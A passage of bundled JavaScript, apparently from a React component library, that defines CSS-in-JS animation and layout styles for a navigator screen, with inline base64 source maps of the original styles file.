YCxcblx0fSxcblx0c3RhcnQ6IHtcblx0XHRpbjogY3NzYFxuXHRcdFx0JHsgRkFERS5EVVJBVElPTiB9bXMgJHsgRkFERS5FQVNJTkcgfSAkeyBGQURFLkRFTEFZXG5cdFx0XHRcdC5JTiB9bXMgYm90aCAkeyBmYWRlSW4gfSwgJHsgU0xJREUuRFVSQVRJT04gfW1zICR7IFNMSURFLkVBU0lORyB9IGJvdGggJHsgc2xpZGVGcm9tTGVmdCB9XG5cdFx0YCxcblx0XHRvdXQ6IGNzc2Bcblx0XHRcdCR7IEZBREUuRFVSQVRJT04gfW1zICR7IEZBREUuRUFTSU5HIH0gJHsgRkFERS5ERUxBWVxuXHRcdFx0XHQuT1VUIH1tcyBib3RoICR7IGZhZGVPdXQgfSwgJHsgU0xJREUuRFVSQVRJT04gfW1zICR7IFNMSURFLkVBU0lORyB9IGJvdGggJHsgc2xpZGVUb1JpZ2h0IH1cblx0XHRgLFxuXHR9LFxufSBhcyBjb25zdDtcbmV4cG9ydCBjb25zdCBuYXZpZ2F0b3JTY3JlZW5BbmltYXRpb24gPSBjc3NgXG5cdHotaW5kZXg6IDE7XG5cblx0JltkYXRhLWFuaW1hdGlvbi10eXBlPSdvdXQnXSB7XG5cdFx0ei1pbmRleDogMDtcblx0fVxuXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdCY6bm90KCBbZGF0YS1za2lwLWFuaW1hdGlvbl0gKSB7XG5cdFx0XHQkeyAoIFsgJ3N0YXJ0JywgJ2VuZCcgXSBhcyBjb25zdCApLm1hcCggKCBkaXJlY3Rpb24gKSA9PlxuXHRcdFx0XHQoIFsgJ2luJywgJ291dCcgXSBhcyBjb25zdCApLm1hcChcblx0XHRcdFx0XHQoIHR5cGUgKSA9PiBjc3NgXG5cdFx0XHRcdFx0XHQmW2RhdGEtYW5pbWF0aW9uLWRpcmVjdGlvbj0nJHsgZGlyZWN0aW9uIH0nXVtkYXRhLWFuaW1hdGlvbi10eXBlPSckeyB0eXBlIH0nXSB7XG5cdFx0XHRcdFx0XHRcdGFuaW1hdGlvbjogJHsgQU5JTUFUSU9OWyBkaXJlY3Rpb24gXVsgdHlwZSBdIH07XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0YFxuXHRcdFx0XHQpXG5cdFx0XHQpIH1cblx0XHR9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBuYXZpZ2F0b3JTY3JlZW4gPSBjc3NgXG5cdC8qIEVuc3VyZXMgaG9yaXpvbnRhbCBvdmVyZmxvdyBpcyB2aXN1YWxseSBhY2Nlc3NpYmxlICovXG5cdG92ZXJmbG93LXg6IGF1dG87XG5cdC8qIEluIGNhc2UgdGhlIHJvb3QgaGFzIGEgaGVpZ2h0LCBpdCBzaG91bGQgbm90IGJlIGV4Y2VlZGVkICovXG5cdG1heC1oZWlnaHQ6IDEwMCU7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cdGdyaWQtcm93OiAxIC8gLTE7XG5gO1xuIl19 */")
44827 }
44828 };
44829 var navigatorScreenAnimation = /* @__PURE__ */ css("z-index:1;&[data-animation-type='out']{z-index:0;}@media not ( prefers-reduced-motion ){&:not( [data-skip-animation] ){", ["start", "end"].map((direction) => ["in", "out"].map((type) => /* @__PURE__ */ css("&[data-animation-direction='", direction, "'][data-animation-type='", type, "']{animation:", ANIMATION[direction][type], ";}" + (false ? "" : ";label:navigatorScreenAnimation;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF1SG9CIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcywga2V5ZnJhbWVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG5leHBvcnQgY29uc3QgbmF2aWdhdG9yV3JhcHBlciA9IGNzc2Bcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHQvKiBQcmV2ZW50cyBob3Jpem9udGFsIG92ZXJmbG93IHdoaWxlIGFuaW1hdGluZyBzY3JlZW4gdHJhbnNpdGlvbnMgKi9cblx0b3ZlcmZsb3cteDogY2xpcDtcblx0Lypcblx0ICogTWFyayB0aGlzIERPTSBzdWJ0cmVlIGFzIGlzb2xhdGVkIHdoZW4gaXQgY29tZXMgdG8gbGF5b3V0IGNhbGN1bGF0aW9ucyxcblx0ICogcHJvdmlkaW5nIHBlcmZvcm1hbmNlIGJlbmVmaXRzLlxuXHQgKi9cblx0Y29udGFpbjogbGF5b3V0O1xuXG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogMWZyO1xuXHRncmlkLXRlbXBsYXRlLXJvd3M6IDFmcjtcblx0YWxpZ24taXRlbXM6IHN0YXJ0O1xuYDtcblxuY29uc3QgZmFkZUluID0ga2V5ZnJhbWVzKCB7XG5cdGZyb206IHtcblx0XHRvcGFjaXR5OiAwLFxuXHR9LFxufSApO1xuXG5jb25zdCBmYWRlT3V0ID0ga2V5ZnJhbWVzKCB7XG5cdHRvOiB7XG5cdFx0b3BhY2l0eTogMCxcblx0fSxcbn0gKTtcblxuZXhwb3J0IGNvbnN0IHNsaWRlRnJvbVJpZ2h0ID0ga2V5ZnJhbWVzKCB7XG5cdGZyb206IHtcblx0XHR0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKDEwMHB4KScsXG5cdH0sXG59ICk7XG5cbmV4cG9ydCBjb25zdCBzbGlkZVRvTGVmdCA9IGtleWZyYW1lcygge1xuXHR0bzoge1xuXHRcdHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoLTgwcHgpJyxcblx0fSxcbn0gKTtcblxuZXhwb3J0IGNvbnN0IHNsaWRlRnJvbUxlZnQgPSBrZXlmcmFtZXMoIHtcblx0ZnJvbToge1xuXHRcdHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoLTEwMHB4KScsXG5cdH0sXG59ICk7XG5cbmV4cG9ydCBjb25zdCBzbGlkZVRvUmlnaHQgPSBrZXlmcmFtZXMoIHtcblx0dG86IHtcblx0XHR0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKDgwcHgpJyxcblx0fSxcbn0gKTtcblxuY29uc3QgRkFERSA9IHtcblx0RFVSQVRJT046IDcwLFxuXHRFQVNJTkc6ICdsaW5lYXInLFxuXHRERUxBWToge1xuXHRcdElOOiA3MCxcblx0XHRPVVQ6IDQwLFxuXHR9LFxufTtcbmNvbnN0IFNMSURFID0ge1xuXHREVVJBVElPTjogMzAwLFxuXHRFQVNJTkc6ICdjdWJpYy1iZXppZXIoMC4zMywgMCwgMCwgMSknLFxufTtcblxuZXhwb3J0IGNvbnN0IFRPVEFMX0FOSU1BVElPTl9EVVJBVElPTiA9IHtcblx0SU46IE1hdGgubWF4KCBGQURFLkRVUkFUSU9OICsgRkFERS5ERUxBWS5JTiwgU0xJREUuRFVSQVRJT04gKSxcblx0T1VUOiBNYXRoLm1heCggRkFERS5EVVJBVElPTiArIEZBREUuREVMQVkuT1VULCBTTElERS5EVVJBVElPTiApLFxufTtcblxuZXhwb3J0IGNvbnN0IEFOSU1BVElPTl9FTkRfTkFNRVMgPSB7XG5cdGVuZDoge1xuXHRcdGluOiBzbGlkZUZyb21SaWdodC5uYW1lLFxuXHRcdG91dDogc2xpZGVUb0xlZnQubmFtZSxcblx0fSxcblx0c3RhcnQ6IHtcblx0XHRpbjogc2xpZGVGcm9tTGVmdC5uYW1lLFxuXHRcdG91dDogc2xpZGVUb1JpZ2h0Lm5hbWUsXG5cdH0sXG59O1xuXG5jb25zdCBBTklNQVRJT04gPSB7XG5cdGVuZDoge1xuXHRcdGluOiBjc3NgXG5cdFx0XHQkeyBGQURFLkRVUkFUSU9OIH1tcyAkeyBGQURFLkVBU0lORyB9ICR7IEZBREUuREVMQVlcblx0XHRcdFx0LklOIH1tcyBib3RoICR7IGZhZGVJbiB9LCAkeyBTTElERS5EVVJBVElPTiB9bXMgJHsgU0xJREUuRUFTSU5HIH0gYm90aCAkeyBzbGlkZUZyb21SaWdodCB9XG5cdFx0YCxcblx0XHRvdXQ6IGNzc2Bcblx0XHRcdCR7IEZBREUuRFVSQVRJT04gfW1zICR7IEZBREUuRUFTSU5HIH0gJHsgRkFERS5ERUxBWVxuXHRcdFx0XHQuT1VUIH1tcyBib3RoICR7IGZhZGVPdXQgfSwgJHsgU0xJREUuRFVSQVRJT04gfW1zICR7IFNMSURFLkVBU0lORyB9IGJvdGggJHsgc2xpZGVUb0xlZnQgfVxuXHRcdGAsXG5cdH0sXG5cdHN0YXJ0OiB7XG5cdFx0aW46IGNzc2Bcblx0XHRcdCR7IEZBREUuRFVSQVRJT04gfW1zICR7IEZBREUuRUFTSU5HIH0gJHsgRkFERS5ERUxBWVxuXHRcdFx0XHQuSU4gfW1zIGJvdGggJHsgZmFkZUluIH0sICR7IFNMSURFLkRVUkFUSU9OIH1tcyAkeyBTTElERS5FQVNJTkcgfSBib3RoICR7IHNsaWRlRnJvbUxlZnQgfVxuXHRcdGAsXG5cdFx0b3V0OiBjc3NgXG5cdFx0XHQkeyBGQURFLkRVUkFUSU9OIH1tcyAkeyBGQURFLkVBU0lORyB9ICR7IEZBREUuREVMQVlcblx0XHRcdFx0Lk9VVCB9bXMgYm90aCAkeyBmYWRlT3V0IH0sICR7IFNMSURFLkRVUkFUSU9OIH1tcyAkeyBTTElERS5FQVNJTkcgfSBib3RoICR7IHNsaWRlVG9SaWdodCB9XG5cdFx0YCxcblx0fSxcbn0gYXMgY29uc3Q7XG5leHBvcnQgY29uc3QgbmF2aWdhdG9yU2NyZWVuQW5pbWF0aW9uID0gY3NzYFxuXHR6LWluZGV4OiAxO1xuXG5cdCZbZGF0YS1hbmltYXRpb24tdHlwZT0nb3V0J10ge1xuXHRcdHotaW5kZXg6IDA7XG5cdH1cblxuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHQmOm5vdCggW2RhdGEtc2tpcC1hbmltYXRpb25dICkge1xuXHRcdFx0JHsgKCBbICdzdGFydCcsICdlbmQnIF0gYXMgY29uc3QgKS5tYXAoICggZGlyZWN0aW9uICkgPT5cblx0XHRcdFx0KCBbICdpbicsICdvdXQnIF0gYXMgY29uc3QgKS5tYXAoXG5cdFx0XHRcdFx0KCB0eXBlICkgPT4gY3NzYFxuXHRcdFx0XHRcdFx0JltkYXRhLWFuaW1hdGlvbi1kaXJlY3Rpb249JyR7IGRpcmVjdGlvbiB9J11bZGF0YS1hbmltYXRpb24tdHlwZT0nJHsgdHlwZSB9J10ge1xuXHRcdFx0XHRcdFx0XHRhbmltYXRpb246ICR7IEFOSU1BVElPTlsgZGlyZWN0aW9uIF1bIHR5cGUgXSB9O1xuXHRcdFx0XHRcdFx0fVxuXHRcdFx0XHRcdGBcblx0XHRcdFx0KVxuXHRcdFx0KSB9XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgbmF2aWdhdG9yU2NyZWVuID0gY3NzYFxuXHQvKiBFbnN1cmVzIGhvcml6b250YWwgb3ZlcmZsb3cgaXMgdmlzdWFsbHkgYWNjZXNzaWJsZSAqL1xuXHRvdmVyZmxvdy14OiBhdXRvO1xuXHQvKiBJbiBjYXNlIHRoZSByb290IGhhcyBhIGhlaWdodCwgaXQgc2hvdWxkIG5vdCBiZSBleGNlZWRlZCAqL1xuXHRtYXgtaGVpZ2h0OiAxMDAlO1xuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXHRncmlkLXJvdzogMSAvIC0xO1xuYDtcbiJdfQ== */"))), ";}}" + (false ? "" : ";label:navigatorScreenAnimation;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE0RzJDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcywga2V5ZnJhbWVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG5leHBvcnQgY29uc3QgbmF2aWdhdG9yV3JhcHBlciA9IGNzc2Bcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHQvKiBQcmV2ZW50cyBob3Jpem9udGFsIG92ZXJmbG93IHdoaWxlIGFuaW1hdGluZyBzY3JlZW4gdHJhbnNpdGlvbnMgKi9cblx0b3ZlcmZsb3cteDogY2xpcDtcblx0Lypcblx0ICogTWFyayB0aGlzIERPTSBzdWJ0cmVlIGFzIGlzb2xhdGVkIHdoZW4gaXQgY29tZXMgdG8gbGF5b3V0IGNhbGN1bGF0aW9ucyxcblx0ICogcHJvdmlkaW5nIHBlcmZvcm1hbmNlIGJlbmVmaXRzLlxuXHQgKi9cblx0Y29udGFpbjogbGF5b3V0O1xuXG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogMWZyO1xuXHRncmlkLXRlbXBsYXRlLXJvd3M6IDFmcjtcblx0YWxpZ24taXRlbXM6IHN0YXJ0O1xuYDtcblxuY29uc3QgZmFkZUluID0ga2V5ZnJhbWVzKCB7XG5cdGZyb206IHtcblx0XHRvcGFjaXR5OiAwLFxuXHR9LFxufSApO1xuXG5jb25zdCBmYWRlT3V0ID0ga2V5ZnJhbWVzKCB7XG5cdHRvOiB7XG5cdFx0b3BhY2l0eTogMCxcblx0fSxcbn0gKTtcblxuZXhwb3J0IGNvbnN0IHNsaWRlRnJvbVJpZ2h0ID0ga2V5ZnJhbWVzKCB7XG5cdGZyb206IHtcblx0XHR0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKDEwMHB4KScsXG5cdH0sXG59ICk7XG5cbmV4cG9ydCBjb25zdCBzbGlkZVRvTGVmdCA9IGtleWZyYW1lcygge1xuXHR0bzoge1xuXHRcdHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoLTgwcHgpJyxcblx0fSxcbn0gKTtcblxuZXhwb3J0IGNvbnN0IHNsaWRlRnJvbUxlZnQgPSBrZXlmcmFtZXMoIHtcblx0ZnJvbToge1xuXHRcdHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoLTEwMHB4KScsXG5cdH0sXG59ICk7XG5cbmV4cG9ydCBjb25zdCBzbGlkZVRvUmlnaHQgPSBrZXlmcmFtZXMoIHtcblx0dG86IHtcblx0XHR0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKDgwcHgpJyxcblx0fSxcbn0gKTtcblxuY29uc3QgRkFERSA9IHtcblx0RFVSQVRJT046IDcwLFxuXHRFQVNJTkc6ICdsaW5lYXInLFxuXHRERUxBWToge1xuXHRcdElOOiA3MCxcblx0XHRPVVQ6IDQwLFxuXHR9LFxufTtcbmNvbnN0IFNMSURFID0ge1xuXHREVVJBVElPTjogMzAwLFxuXHRFQVNJTkc6ICdjdWJpYy1iZXppZXIoMC4zMywgMCwgMCwgMSknLFxufTtcblxuZXhwb3J0IGNvbnN0IFRPVEFMX0FOSU1BVElPTl9EVVJBVElPTiA9IHtcblx0SU46IE1hdGgubWF4KCBGQURFLkRVUkFUSU9OICsgRkFERS5ERUxBWS5JTiwgU0xJREUuRFVSQVRJT04gKSxcblx0T1VUOiBNYXRoLm1heCggRkFERS5EVVJBVElPTiArIEZBREUuREVMQVkuT1VULCBTTElERS5EVVJBVElPTiApLFxufTtcblxuZXhwb3J0IGNvbnN0IEFOSU1BVElPTl9FTkRfTkFNRVMgPSB7XG5cdGVuZDoge1xuXHRcdGluOiBzbGlkZUZyb21SaWdodC5uYW1lLFxuXHRcdG91dDogc2xpZGVUb0xlZnQubmFtZSxcblx0fSxcblx0c3RhcnQ6IHtcblx0XHRpbjogc2xpZGVGcm9tTGVmdC5uYW1lLFxuXHRcdG91dDogc2xpZGVUb1JpZ2h0Lm5hbWUsXG5cdH0sXG59O1xuXG5jb25zdCBBTklNQVRJT04gPSB7XG5cdGVuZDoge1xuXHRcdGluOiBjc3NgXG5cdFx0XHQkeyBGQURFLkRVUkFUSU9OIH1tcyAkeyBGQURFLkVBU0lORyB9ICR7IEZBREUuREVMQVlcblx0XHRcdFx0LklOIH1tcyBib3RoICR7IGZhZGVJbiB9LCAkeyBTTElERS5EVVJBVElPTiB9bXMgJHsgU0xJREUuRUFTSU5HIH0gYm90aCAkeyBzbGlkZUZyb21SaWdodCB9XG5cdFx0YCxcblx0XHRvdXQ6IGNzc2Bcblx0XHRcdCR7IEZBREUuRFVSQVRJT04gfW1zICR7IEZBREUuRUFTSU5HIH0gJHsgRkFERS5ERUxBWVxuXHRcdFx0XHQuT1VUIH1tcyBib3RoICR7IGZhZGVPdXQgfSwgJHsgU0xJREUuRFVSQVRJT04gfW1zICR7IFNMSURFLkVBU0lORyB9IGJvdGggJHsgc2xpZGVUb0xlZnQgfVxuXHRcdGAsXG5cdH0sXG5cdHN0YXJ0OiB7XG5cdFx0aW46IGNzc2Bcblx0XHRcdCR7IEZBREUuRFVSQVRJT04gfW1zICR7IEZBREUuRUFTSU5HIH0gJHsgRkFERS5ERUxBWVxuXHRcdFx0XHQuSU4gfW1zIGJvdGggJHsgZmFkZUluIH0sICR7IFNMSURFLkRVUkFUSU9OIH1tcyAkeyBTTElERS5FQVNJTkcgfSBib3RoICR7IHNsaWRlRnJvbUxlZnQgfVxuXHRcdGAsXG5cdFx0b3V0OiBjc3NgXG5cdFx0XHQkeyBGQURFLkRVUkFUSU9OIH1tcyAkeyBGQURFLkVBU0lORyB9ICR7IEZBREUuREVMQVlcblx0XHRcdFx0Lk9VVCB9bXMgYm90aCAkeyBmYWRlT3V0IH0sICR7IFNMSURFLkRVUkFUSU9OIH1tcyAkeyBTTElERS5FQVNJTkcgfSBib3RoICR7IHNsaWRlVG9SaWdodCB9XG5cdFx0YCxcblx0fSxcbn0gYXMgY29uc3Q7XG5leHBvcnQgY29uc3QgbmF2aWdhdG9yU2NyZWVuQW5pbWF0aW9uID0gY3NzYFxuXHR6LWluZGV4OiAxO1xuXG5cdCZbZGF0YS1hbmltYXRpb24tdHlwZT0nb3V0J10ge1xuXHRcdHotaW5kZXg6IDA7XG5cdH1cblxuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHQmOm5vdCggW2RhdGEtc2tpcC1hbmltYXRpb25dICkge1xuXHRcdFx0JHsgKCBbICdzdGFydCcsICdlbmQnIF0gYXMgY29uc3QgKS5tYXAoICggZGlyZWN0aW9uICkgPT5cblx0XHRcdFx0KCBbICdpbicsICdvdXQnIF0gYXMgY29uc3QgKS5tYXAoXG5cdFx0XHRcdFx0KCB0eXBlICkgPT4gY3NzYFxuXHRcdFx0XHRcdFx0JltkYXRhLWFuaW1hdGlvbi1kaXJlY3Rpb249JyR7IGRpcmVjdGlvbiB9J11bZGF0YS1hbmltYXRpb24tdHlwZT0nJHsgdHlwZSB9J10ge1xuXHRcdFx0XHRcdFx0XHRhbmltYXRpb246ICR7IEFOSU1BVElPTlsgZGlyZWN0aW9uIF1bIHR5cGUgXSB9O1xuXHRcdFx0XHRcdFx0fVxuXHRcdFx0XHRcdGBcblx0XHRcdFx0KVxuXHRcdFx0KSB9XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgbmF2aWdhdG9yU2NyZWVuID0gY3NzYFxuXHQvKiBFbnN1cmVzIGhvcml6b250YWwgb3ZlcmZsb3cgaXMgdmlzdWFsbHkgYWNjZXNzaWJsZSAqL1xuXHRvdmVyZmxvdy14OiBhdXRvO1xuXHQvKiBJbiBjYXNlIHRoZSByb290IGhhcyBhIGhlaWdodCwgaXQgc2hvdWxkIG5vdCBiZSBleGNlZWRlZCAqL1xuXHRtYXgtaGVpZ2h0OiAxMDAlO1xuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXHRncmlkLXJvdzogMSAvIC0xO1xuYDtcbiJdfQ== */");
44830 var navigatorScreen = false ? {
44831 name: "14di7zd",
44832 styles: "overflow-x:auto;max-height:100%;box-sizing:border-box;position:relative;grid-column:1/-1;grid-row:1/-1"
44833 } : {
44834 name: "x0o5tf-navigatorScreen",
44835 styles: "overflow-x:auto;max-height:100%;box-sizing:border-box;position:relative;grid-column:1/-1;grid-row:1/-1;label:navigatorScreen;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrSWtDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcywga2V5ZnJhbWVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG5leHBvcnQgY29uc3QgbmF2aWdhdG9yV3JhcHBlciA9IGNzc2Bcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHQvKiBQcmV2ZW50cyBob3Jpem9udGFsIG92ZXJmbG93IHdoaWxlIGFuaW1hdGluZyBzY3JlZW4gdHJhbnNpdGlvbnMgKi9cblx0b3ZlcmZsb3cteDogY2xpcDtcblx0Lypcblx0ICogTWFyayB0aGlzIERPTSBzdWJ0cmVlIGFzIGlzb2xhdGVkIHdoZW4gaXQgY29tZXMgdG8gbGF5b3V0IGNhbGN1bGF0aW9ucyxcblx0ICogcHJvdmlkaW5nIHBlcmZvcm1hbmNlIGJlbmVmaXRzLlxuXHQgKi9cblx0Y29udGFpbjogbGF5b3V0O1xuXG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogMWZyO1xuXHRncmlkLXRlbXBsYXRlLXJvd3M6IDFmcjtcblx0YWxpZ24taXRlbXM6IHN0YXJ0O1xuYDtcblxuY29uc3QgZmFkZUluID0ga2V5ZnJhbWVzKCB7XG5cdGZyb206IHtcblx0XHRvcGFjaXR5OiAwLFxuXHR9LFxufSApO1xuXG5jb25zdCBmYWRlT3V0ID0ga2V5ZnJhbWVzKCB7XG5cdHRvOiB7XG5cdFx0b3BhY2l0eTogMCxcblx0fSxcbn0gKTtcblxuZXhwb3J0IGNvbnN0IHNsaWRlRnJvbVJpZ2h0ID0ga2V5ZnJhbWVzKCB7XG5cdGZyb206IHtcblx0XHR0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKDEwMHB4KScsXG5cdH0sXG59ICk7XG5cbmV4cG9ydCBjb25zdCBzbGlkZVRvTGVmdCA9IGtleWZyYW1lcygge1xuXHR0bzoge1xuXHRcdHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoLTgwcHgpJyxcblx0fSxcbn0gKTtcblxuZXhwb3J0IGNvbnN0IHNsaWRlRnJvbUxlZnQgPSBrZXlmcmFtZXMoIHtcblx0ZnJvbToge1xuXHRcdHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoLTEwMHB4KScsXG5cdH0sXG59ICk7XG5cbmV4cG9ydCBjb25zdCBzbGlkZVRvUmlnaHQgPSBrZXlmcmFtZXMoIHtcblx0dG86IHtcblx0XHR0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKDgwcHgpJyxcblx0fSxcbn0gKTtcblxuY29uc3QgRkFERSA9IHtcblx0RFVSQVRJT046IDcwLFxuXHRFQVNJTkc6ICdsaW5lYXInLFxuXHRERUxBWToge1xuXHRcdElOOiA3MCxcblx0XHRPVVQ6IDQwLFxuXHR9LFxufTtcbmNvbnN0IFNMSURFID0ge1xuXHREVVJBVElPTjogMzAwLFxuXHRFQVNJTkc6ICdjdWJpYy1iZXppZXIoMC4zMywgMCwgMCwgMSknLFxufTtcblxuZXhwb3J0IGNvbnN0IFRPVEFMX0FOSU1BVElPTl9EVVJBVElPTiA9IHtcblx0SU46IE1hdGgubWF4KCBGQURFLkRVUkFUSU9OICsgRkFERS5ERUxBWS5JTiwgU0xJREUuRFVSQVRJT04gKSxcblx0T1VUOiBNYXRoLm1heCggRkFERS5EVVJBVElPTiArIEZBREUuREVMQVkuT1VULCBTTElERS5EVVJBVElPTiApLFxufTtcblxuZXhwb3J0IGNvbnN0IEFOSU1BVElPTl9FTkRfTkFNRVMgPSB7XG5cdGVuZDoge1xuXHRcdGluOiBzbGlkZUZyb21SaWdodC5uYW1lLFxuXHRcdG91dDogc2xpZGVUb0xlZnQubmFtZSxcblx0fSxcblx0c3RhcnQ6IHtcblx0XHRpbjogc2xpZGVGcm9tTGVmdC5uYW1lLFxuXHRcdG91dDogc2xpZGVUb1JpZ2h0Lm5hbWUsXG5cdH0sXG59O1xuXG5jb25zdCBBTklNQVRJT04gPSB7XG5cdGVuZDoge1xuXHRcdGluOiBjc3NgXG5cdFx0XHQkeyBGQURFLkRVUkFUSU9OIH1tcyAkeyBGQURFLkVBU0lORyB9ICR7IEZBREUuREVMQVlcblx0XHRcdFx0LklOIH1tcyBib3RoICR7IGZhZGVJbiB9LCAkeyBTTElERS5EVVJBVElPTiB9bXMgJHsgU0xJREUuRUFTSU5HIH0gYm90aCAkeyBzbGlkZUZyb21SaWdodCB9XG5cdFx0YCxcblx0XHRvdXQ6IGNzc2Bcblx0XHRcdCR7IEZBREUuRFVSQVRJT04gfW1zICR7IEZBREUuRUFTSU5HIH0gJHsgRkFERS5ERUxBWVxuXHRcdFx0XHQuT1VUIH1tcyBib3RoICR7IGZhZGVPdXQgfSwgJHsgU0xJREUuRFVSQVRJT04gfW1zICR7IFNMSURFLkVBU0lORyB9IGJvdGggJHsgc2xpZGVUb0xlZnQgfVxuXHRcdGAsXG5cdH0sXG5cdHN0YXJ0OiB7XG5cdFx0aW46IGNzc2Bcblx0XHRcdCR7IEZBREUuRFVSQVRJT04gfW1zICR7IEZBREUuRUFTSU5HIH0gJHsgRkFERS5ERUxBWVxuXHRcdFx0XHQuSU4gfW1zIGJvdGggJHsgZmFkZUluIH0sICR7IFNMSURFLkRVUkFUSU9OIH1tcyAkeyBTTElERS5FQVNJTkcgfSBib3RoICR7IHNsaWRlRnJvbUxlZnQgfVxuXHRcdGAsXG5cdFx0b3V0OiBjc3NgXG5cdFx0XHQkeyBGQURFLkRVUkFUSU9OIH1tcyAkeyBGQURFLkVBU0lORyB9ICR7IEZBREUuREVMQVlcblx0XHRcdFx0Lk9VVCB9bXMgYm90aCAkeyBmYWRlT3V0IH0sICR7IFNMSURFLkRVUkFUSU9OIH1tcyAkeyBTTElERS5FQVNJTkcgfSBib3RoICR7IHNsaWRlVG9SaWdodCB9XG5cdFx0YCxcblx0fSxcbn0gYXMgY29uc3Q7XG5leHBvcnQgY29uc3QgbmF2aWdhdG9yU2NyZWVuQW5pbWF0aW9uID0gY3NzYFxuXHR6LWluZGV4OiAxO1xuXG5cdCZbZGF0YS1hbmltYXRpb24tdHlwZT0nb3V0J10ge1xuXHRcdHotaW5kZXg6IDA7XG5cdH1cblxuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHQmOm5vdCggW2RhdGEtc2tpcC1hbmltYXRpb25dICkge1xuXHRcdFx0JHsgKCBbICdzdGFydCcsICdlbmQnIF0gYXMgY29uc3QgKS5tYXAoICggZGlyZWN0aW9uICkgPT5cblx0XHRcdFx0KCBbICdpbicsICdvdXQnIF0gYXMgY29uc3QgKS5tYXAoXG5cdFx0XHRcdFx0KCB0eXBlICkgPT4gY3NzYFxuXHRcdFx0XHRcdFx0JltkYXRhLWFuaW1hdGlvbi1kaXJlY3Rpb249JyR7IGRpcmVjdGlvbiB9J11bZGF0YS1hbmltYXRpb24tdHlwZT0nJHsgdHlwZSB9J10ge1xuXHRcdFx0XHRcdFx0XHRhbmltYXRpb246ICR7IEFOSU1BVElPTlsgZGlyZWN0aW9uIF1bIHR5cGUgXSB9O1xuXHRcdFx0XHRcdFx0fVxuXHRcdFx0XHRcdGBcblx0XHRcdFx0KVxuXHRcdFx0KSB9XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgbmF2aWdhdG9yU2NyZWVuID0gY3NzYFxuXHQvKiBFbnN1cmVzIGhvcml6b250YWwgb3ZlcmZsb3cgaXMgdmlzdWFsbHkgYWNjZXNzaWJsZSAqL1xuXHRvdmVyZmxvdy14OiBhdXRvO1xuXHQvKiBJbiBjYXNlIHRoZSByb290IGhhcyBhIGhlaWdodCwgaXQgc2hvdWxkIG5vdCBiZSBleGNlZWRlZCAqL1xuXHRtYXgtaGVpZ2h0OiAxMDAlO1xuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXHRncmlkLXJvdzogMSAvIC0xO1xuYDtcbiJdfQ== 